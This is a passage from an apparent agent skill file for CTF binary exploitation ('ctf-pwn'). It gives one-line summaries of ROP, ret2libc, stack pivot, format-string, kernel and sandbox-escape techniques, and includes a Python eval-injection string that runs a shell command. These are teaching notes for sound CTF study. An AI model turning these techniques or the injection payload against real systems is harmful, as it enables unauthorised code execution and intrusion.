","type":"text"},{"text":"Input filtering:","type":"text","marks":[{"type":"strong"}]},{"text":" assert payload avoids ","type":"text"},{"text":"memmem()","type":"text","marks":[{"type":"code_inline"}]},{"text":" banned strings. ","type":"text"},{"text":"Gadgets:","type":"text","marks":[{"type":"strong"}]},{"text":" ","type":"text"},{"text":"ROPgadget --binary binary | grep \"pop rdi\"","type":"text","marks":[{"type":"code_inline"}]},{"text":", or pwntools ","type":"text"},{"text":"ROP()","type":"text","marks":[{"type":"code_inline"}]},{"text":" for hidden gadgets in CMP immediates. See ","type":"text"},{"text":"overflow-basics.md","type":"text","marks":[{"type":"link","attrs":{"href":"overflow-basics.md","title":null}}]},{"text":" for full exploit code.","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Parser Stack Overflow (Unchecked memcpy)","type":"text"}]},{"type":"paragraph","content":[{"text":"Pattern:","type":"text","marks":[{"type":"strong"}]},{"text":" Custom file parser (PCAP, image, archive) allocates fixed stack buffer but input records can exceed it. ","type":"text"},{"text":"memcpy","type":"text","marks":[{"type":"code_inline"}]},{"text":" copies before length validation, overflowing saved registers and return address. Must restore callee-saved registers: ","type":"text"},{"text":"rbx","type":"text","marks":[{"type":"code_inline"}]},{"text":" to readable memory (BSS), loop counters to exit values, then ","type":"text"},{"text":"ret","type":"text","marks":[{"type":"code_inline"}]},{"text":" gadget + win function. See ","type":"text"},{"text":"overflow-basics.md","type":"text","marks":[{"type":"link","attrs":{"href":"overflow-basics.md#parser-stack-overflow-via-unchecked-memcpy-length-metactf-flash-2026","title":null}}]},{"text":".","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Struct Pointer Overwrite (Heap Menu Challenges)","type":"text"}]},{"type":"paragraph","content":[{"text":"Pattern:","type":"text","marks":[{"type":"strong"}]},{"text":" Menu create/modify/delete on structs with data buffer + pointer. Overflow name into pointer field with GOT address, then write win address via modify. See ","type":"text"},{"text":"overflow-basics.md","type":"text","marks":[{"type":"link","attrs":{"href":"overflow-basics.md","title":null}}]},{"text":" for full exploit and GOT target selection table.","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Signed Integer Bypass","type":"text"}]},{"type":"paragraph","content":[{"text":"Pattern:","type":"text","marks":[{"type":"strong"}]},{"text":" ","type":"text"},{"text":"scanf(\"%d\")","type":"text","marks":[{"type":"code_inline"}]},{"text":" without sign check; negative quantity * price = negative total, bypasses balance check. See ","type":"text"},{"text":"overflow-basics.md","type":"text","marks":[{"type":"link","attrs":{"href":"overflow-basics.md","title":null}}]},{"text":".","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Canary-Aware Partial Overflow","type":"text"}]},{"type":"paragraph","content":[{"text":"Pattern:","type":"text","marks":[{"type":"strong"}]},{"text":" Overflow ","type":"text"},{"text":"valid","type":"text","marks":[{"type":"code_inline"}]},{"text":" flag between buffer and canary. Use ","type":"text"},{"text":"./","type":"text","marks":[{"type":"code_inline"}]},{"text":" as no-op path padding for precise length. See ","type":"text"},{"text":"overflow-basics.md","type":"text","marks":[{"type":"link","attrs":{"href":"overflow-basics.md","title":null}}]},{"text":" and ","type":"text"},{"text":"advanced.md","type":"text","marks":[{"type":"link","attrs":{"href":"advanced.md","title":null}}]},{"text":" for full exploit chain.","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Global Buffer Overflow (CSV Injection)","type":"text"}]},{"type":"paragraph","content":[{"text":"Pattern:","type":"text","marks":[{"type":"strong"}]},{"text":" Adjacent global variables; overflow via extra CSV delimiters changes filename pointer. See ","type":"text"},{"text":"overflow-basics.md","type":"text","marks":[{"type":"link","attrs":{"href":"overflow-basics.md","title":null}}]},{"text":" and ","type":"text"},{"text":"advanced.md","type":"text","marks":[{"type":"link","attrs":{"href":"advanced.md","title":null}}]},{"text":" for full exploit.","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"ROP Chain Building","type":"text"}]},{"type":"paragraph","content":[{"text":"Leak libc via ","type":"text"},{"text":"puts@PLT(puts@GOT)","type":"text","marks":[{"type":"code_inline"}]},{"text":", return to vuln, stage 2 with ","type":"text"},{"text":"system(\"/bin/sh\")","type":"text","marks":[{"type":"code_inline"}]},{"text":". See ","type":"text"},{"text":"rop-and-shellcode.md","type":"text","marks":[{"type":"link","attrs":{"href":"rop-and-shellcode.md","title":null}}]},{"text":" for full two-stage ret2libc pattern, leak parsing, and return target selection.","type":"text"}]},{"type":"paragraph","content":[{"text":"DynELF libc discovery:","type":"text","marks":[{"type":"strong"}]},{"text":" ","type":"text"},{"text":"pwntools.DynELF(leak_func, pointer_in_libc)","type":"text","marks":[{"type":"code_inline"}]},{"text":" resolves libc symbols remotely without knowing the libc version. See ","type":"text"},{"text":"rop-and-shellcode.md","type":"text","marks":[{"type":"link","attrs":{"href":"rop-and-shellcode.md#dynelf-automated-libc-discovery-rc3-ctf-2016","title":null}}]},{"text":".","type":"text"}]},{"type":"paragraph","content":[{"text":"Constrained shellcode in small buffers:","type":"text","marks":[{"type":"strong"}]},{"text":" When buffer is too small, use ","type":"text"},{"text":"read()","type":"text","marks":[{"type":"code_inline"}]},{"text":" shellcode stub (\u003c 20 bytes) to pull full stage-2 shellcode. See ","type":"text"},{"text":"rop-and-shellcode.md","type":"text","marks":[{"type":"link","attrs":{"href":"rop-and-shellcode.md#constrained-shellcode-in-small-buffers-tum-ctf-2016","title":null}}]},{"text":".","type":"text"}]},{"type":"paragraph","content":[{"text":"Raw syscall ROP:","type":"text","marks":[{"type":"strong"}]},{"text":" When ","type":"text"},{"text":"system()","type":"text","marks":[{"type":"code_inline"}]},{"text":"/","type":"text"},{"text":"execve()","type":"text","marks":[{"type":"code_inline"}]},{"text":" crash (CET/IBT), use ","type":"text"},{"text":"pop rax; ret","type":"text","marks":[{"type":"code_inline"}]},{"text":" + ","type":"text"},{"text":"syscall; ret","type":"text","marks":[{"type":"code_inline"}]},{"text":" from libc. See ","type":"text"},{"text":"rop-and-shellcode.md","type":"text","marks":[{"type":"link","attrs":{"href":"rop-and-shellcode.md","title":null}}]},{"text":".","type":"text"}]},{"type":"paragraph","content":[{"text":"ret2csu:","type":"text","marks":[{"type":"strong"}]},{"text":" ","type":"text"},{"text":"__libc_csu_init","type":"text","marks":[{"type":"code_inline"}]},{"text":" gadgets control ","type":"text"},{"text":"rdx","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"rsi","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"edi","type":"text","marks":[{"type":"code_inline"}]},{"text":" and call any GOT function — universal 3-argument call without libc gadgets. See ","type":"text"},{"text":"rop-and-shellcode.md","type":"text","marks":[{"type":"link","attrs":{"href":"rop-and-shellcode.md#ret2csu--__libc_csu_init-gadgets-crypto-cat","title":null}}]},{"text":".","type":"text"}]},{"type":"paragraph","content":[{"text":"Bad char XOR bypass:","type":"text","marks":[{"type":"strong"}]},{"text":" XOR payload data with key before writing to ","type":"text"},{"text":".data","type":"text","marks":[{"type":"code_inline"}]},{"text":", then XOR back in place with ROP gadgets. Avoids null bytes, newlines, and other filtered characters. See ","type":"text"},{"text":"rop-and-shellcode.md","type":"text","marks":[{"type":"link","attrs":{"href":"rop-and-shellcode.md#bad-character-bypass-via-xor-encoding-in-rop-crypto-cat","title":null}}]},{"text":".","type":"text"}]},{"type":"paragraph","content":[{"text":"Exotic gadgets (BEXTR/XLAT/STOSB/PEXT):","type":"text","marks":[{"type":"strong"}]},{"text":" When standard ","type":"text"},{"text":"mov","type":"text","marks":[{"type":"code_inline"}]},{"text":" write gadgets are unavailable, chain obscure x86 instructions for byte-by-byte memory writes. See ","type":"text"},{"text":"rop-and-shellcode.md","type":"text","marks":[{"type":"link","attrs":{"href":"rop-and-shellcode.md#exotic-x86-gadgets--bextrxlatstosbpext-crypto-cat","title":null}}]},{"text":".","type":"text"}]},{"type":"paragraph","content":[{"text":"Stack pivot (xchg rax,esp):","type":"text","marks":[{"type":"strong"}]},{"text":" Swap stack pointer to attacker-controlled heap/buffer when overflow is too small for full ROP chain. Requires ","type":"text"},{"text":"pop rax; ret","type":"text","marks":[{"type":"code_inline"}]},{"text":" to load pivot address first. See ","type":"text"},{"text":"rop-and-shellcode.md","type":"text","marks":[{"type":"link","attrs":{"href":"rop-and-shellcode.md#stack-pivot-via-xchg-raxesp-crypto-cat","title":null}}]},{"text":".","type":"text"}]},{"type":"paragraph","content":[{"text":"rdx control:","type":"text","marks":[{"type":"strong"}]},{"text":" After ","type":"text"},{"text":"puts()","type":"text","marks":[{"type":"code_inline"}]},{"text":", rdx is clobbered to 1. Use ","type":"text"},{"text":"pop rdx; pop rbx; ret","type":"text","marks":[{"type":"code_inline"}]},{"text":" from libc, or re-enter binary's read setup + stack pivot. See ","type":"text"},{"text":"rop-and-shellcode.md","type":"text","marks":[{"type":"link","attrs":{"href":"rop-and-shellcode.md","title":null}}]},{"text":".","type":"text"}]},{"type":"paragraph","content":[{"text":"Canary XOR epilogue as rdx zeroing gadget:","type":"text","marks":[{"type":"strong"}]},{"text":" When no ","type":"text"},{"text":"pop rdx; ret","type":"text","marks":[{"type":"code_inline"}]},{"text":" exists, jump into the canary check epilogue ","type":"text"},{"text":"xor rdx, fs:28h","type":"text","marks":[{"type":"code_inline"}]},{"text":" -- it zeros RDX when the canary is intact. See ","type":"text"},{"text":"rop-and-shellcode.md","type":"text","marks":[{"type":"link","attrs":{"href":"rop-and-shellcode.md#stack-canary-xor-epilogue-as-rdx-zeroing-gadget-volgactf-2017","title":null}}]},{"text":".","type":"text"}]},{"type":"paragraph","content":[{"text":"stub_execveat as execve alternative:","type":"text","marks":[{"type":"strong"}]},{"text":" When no ","type":"text"},{"text":"pop rax; ret","type":"text","marks":[{"type":"code_inline"}]},{"text":" exists, use ","type":"text"},{"text":"stub_execveat","type":"text","marks":[{"type":"code_inline"}]},{"text":" (syscall 322/0x142) instead of ","type":"text"},{"text":"execve","type":"text","marks":[{"type":"code_inline"}]},{"text":" -- send exactly 0x142 bytes so ","type":"text"},{"text":"read()","type":"text","marks":[{"type":"code_inline"}]},{"text":" return value sets rax. See ","type":"text"},{"text":"rop-and-shellcode.md","type":"text","marks":[{"type":"link","attrs":{"href":"rop-and-shellcode.md#stub_execveat-syscall-as-execve-alternative-asis-ctf-2018","title":null}}]},{"text":".","type":"text"}]},{"type":"paragraph","content":[{"text":"Shell interaction:","type":"text","marks":[{"type":"strong"}]},{"text":" After ","type":"text"},{"text":"execve","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"sleep(1)","type":"text","marks":[{"type":"code_inline"}]},{"text":" then ","type":"text"},{"text":"sendline(b'cat /flag*')","type":"text","marks":[{"type":"code_inline"}]},{"text":". See ","type":"text"},{"text":"rop-and-shellcode.md","type":"text","marks":[{"type":"link","attrs":{"href":"rop-and-shellcode.md","title":null}}]},{"text":".","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Format String Through Input Transformation","type":"text"}]},{"type":"paragraph","content":[{"text":"ROT13-encoded format string:","type":"text","marks":[{"type":"strong"}]},{"text":" When input is ROT13/Caesar-transformed before reaching ","type":"text"},{"text":"printf","type":"text","marks":[{"type":"code_inline"}]},{"text":", pre-encode the format string payload with the inverse transform so it arrives intact. See ","type":"text"},{"text":"format-string.md","type":"text","marks":[{"type":"link","attrs":{"href":"format-string.md#format-string-exploit-through-rot13-encoding-sunshinectf-2018","title":null}}]},{"text":".","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Kernel Exploitation","type":"text"}]},{"type":"paragraph","content":[{"text":"addr_limit bypass via failed file open:","type":"text","marks":[{"type":"strong"}]},{"text":" When a kernel module sets ","type":"text"},{"text":"addr_limit = KERNEL_DS","type":"text","marks":[{"type":"code_inline"}]},{"text":" but fails to restore it on error paths, force the error (e.g., make target file a directory) to retain kernel memory access from userspace ","type":"text"},{"text":"read()","type":"text","marks":[{"type":"code_inline"}]},{"text":"/","type":"text"},{"text":"write()","type":"text","marks":[{"type":"code_inline"}]},{"text":". See ","type":"text"},{"text":"kernel-techniques.md","type":"text","marks":[{"type":"link","attrs":{"href":"kernel-techniques.md#kernel-addr_limit-bypass-via-failed-file-open-midnight-sun-ctf-2018","title":null}}]},{"text":".","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Sandbox and Emulator Escape","type":"text"}]},{"type":"paragraph","content":[{"text":"CPU emulator eval injection:","type":"text","marks":[{"type":"strong"}]},{"text":" When an emulator's print opcode uses ","type":"text"},{"text":"eval('\"' + buf + '\"')","type":"text","marks":[{"type":"code_inline"}]},{"text":" for escape sequences, build ","type":"text"},{"text":"\"+__import__(\"os\").system(\"cmd\")#","type":"text","marks":[{"type":"code_inline"}]},{"text":" in emulator memory via ADD opcodes to escape the string and execute Python. See ","type":"text"},{"text":"sandbox-escape.md","type":"text","marks":[{"type":"link","attrs":{"href":"sandbox-escape.md#cpu-emulator-print-opcode-python-eval-injection-midnight-sun-ctf-2018","title":null}}]},{"text":".","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Advanced Exploit Primitives","type":"text"}]},{"type":"paragraph","content":[{"text":"Neural network function pointer OOB:","type":"text","marks":[{"type":"strong"}]},{"text":" When a binary uses NN output as an index into a function pointer array without bounds checking, retrain weights/biases to produce an out-of-bounds index that reads a target address from the biases array. See ","type":"text"},{"text":"advanced-exploits-4.md","type":"text","marks":[{"type":"link","attrs":{"href":"advanced-exploits-4.md#neural-network-output-as-function-pointer-index-oob-swampctf-2018","title":null}}]},{"text":".","type":"text"}]},{"type":"paragraph","content":[{"text":"Shellcode unique-byte limit bypass via counter overflow:","type":"text","marks":[{"type":"strong"}]},{"text":" When shellcode is limited to N unique bytes, spray the stack to corrupt the ","type":"text"},{"text":"seen[256]","type":"text","marks":[{"type":"code_inline"}]},{"text":" counter, then re-execute main (skipping ","type":"text"},{"text":"memset","type":"text","marks":[{"type":"code_inline"}]},{"text":") so the overflowed counter allows arbitrary bytes on the second run. See ","type":"text"},{"text":"advanced-exploits-4.md","type":"text","marks":[{"type":"link","attrs":{"href":"advanced-exploits-4.md#shellcode-unique-byte-limit-bypass-via-counter-overflow-blaze-ctf-2018","title":null}}]},{"text":".","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Deep-Dive Notes","type":"text"}]},{"type":"paragraph","content":[{"text":"Use ","type":"text"},{"text":"field-notes.md","type":"text","marks":[{"type":"link","attrs":{"href":"field-notes.md","title":null}}]},{"text":" once you have confirmed the challenge is truly exploitation-heavy.","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Heap and allocator notes: House of Apple, tcache, unsafe unlink, talloc, UAF, FSOP","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Advanced exploit notes: seccomp bypass, ret2vdso, io_uring, integer truncation, ASAN, timing oracles","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Sandbox and hybrid notes: pyjail crossover, busybox escapes, custom VMs, shell tricks, path sanitizers","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Kernel and Windows notes: kernel playbooks, SEH, CFG bypass, privilege escalation","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Historical case notes: older but still reusable CTF exploit patterns","type":"text"}]}]}]}]},"metadata":{"date":"2026-11-02","name":"ctf-pwn","author":"@skillopedia","source":{"stars":3606,"repo_name":"ctf-skills","origin_url":"https://github.com/ljagiello/ctf-skills/blob/HEAD/ctf-pwn/SKILL.md","repo_owner":"ljagiello","body_sha256":"ca3b7254d973c18d2b30fd1f07db1ea30a2a032560031589786d1a3cfa0d4237","cluster_key":"371c784a49e290de2ad485f520470ec1f7cc22056d810e70d48f014d684ccad2","clean_bundle":{"format":"clean-skill-bundle-v1","source":"ljagiello/ctf-skills/ctf-pwn/SKILL.md","text_bytes":1047510,"source_commit":"a6106aaf5f1f4eeb6b95908f11c2314c7150dfac","skills_sh_rank":2512,"attachment_count":60,"text_attachments":60,"attachment_storage":"skill_attachments","binary_attachments":0},"cluster_size":1,"skill_md_path":"ctf-pwn/SKILL.md","import_metadata":{"date":"2026-11-02","author":"@skillopedia","version":"v1","category":"security","category_label":"Security"},"exact_dupes_collapsed_into_this":0},"license":"MIT","version":"v1","category":"security","metadata":{"author":"Lukasz Jagiello","user-invocable":"false"},"import_tag":"skills-sh-top20k-2026-11","description":"Provides binary exploitation techniques for CTF challenges. Use when you already have a vulnerable native target or service and need to turn memory corruption or low-level primitives into code execution or privilege escalation, such as buffer overflows, format strings, heap bugs, ROP, ret2libc, shellcode, kernel exploitation, seccomp bypass, sandbox escape, or Windows/Linux exploit chains. Do not use it when the main blocker is understanding what the binary does; use reverse engineering first. Do not use it for pure web bugs, disk or packet forensics, or standalone crypto/math challenges.","allowed-tools":"Bash Read Write Edit Glob Grep Task WebFetch WebSearch","compatibility":"Requires filesystem-based agent (Claude Code or similar) with bash, Python 3, and internet access for tool installation."}},"renderedAt":1793666777224}

CTF Binary Exploitation (Pwn) Quick reference for binary exploitation (pwn) CTF challenges. Each technique has a one-liner here; see supporting files for full details. Prerequisites Python packages (all platforms): uv alternative: Linux (apt): Optional cross-arch (ARM/MIPS — Debian/Ubuntu): macOS (Homebrew): Ruby gems (all platforms): Manual install: - pwndbg — Linux: GitHub, macOS: - checksec — included with pwntools ( ) MCP servers (optional): WinDbg MCP (svnscha/mcp-windbg) for Windows crash dumps, live breakpoint-driven exploitation, and kernel/driver debugging; IDA Pro MCP / Ghidra MCP f…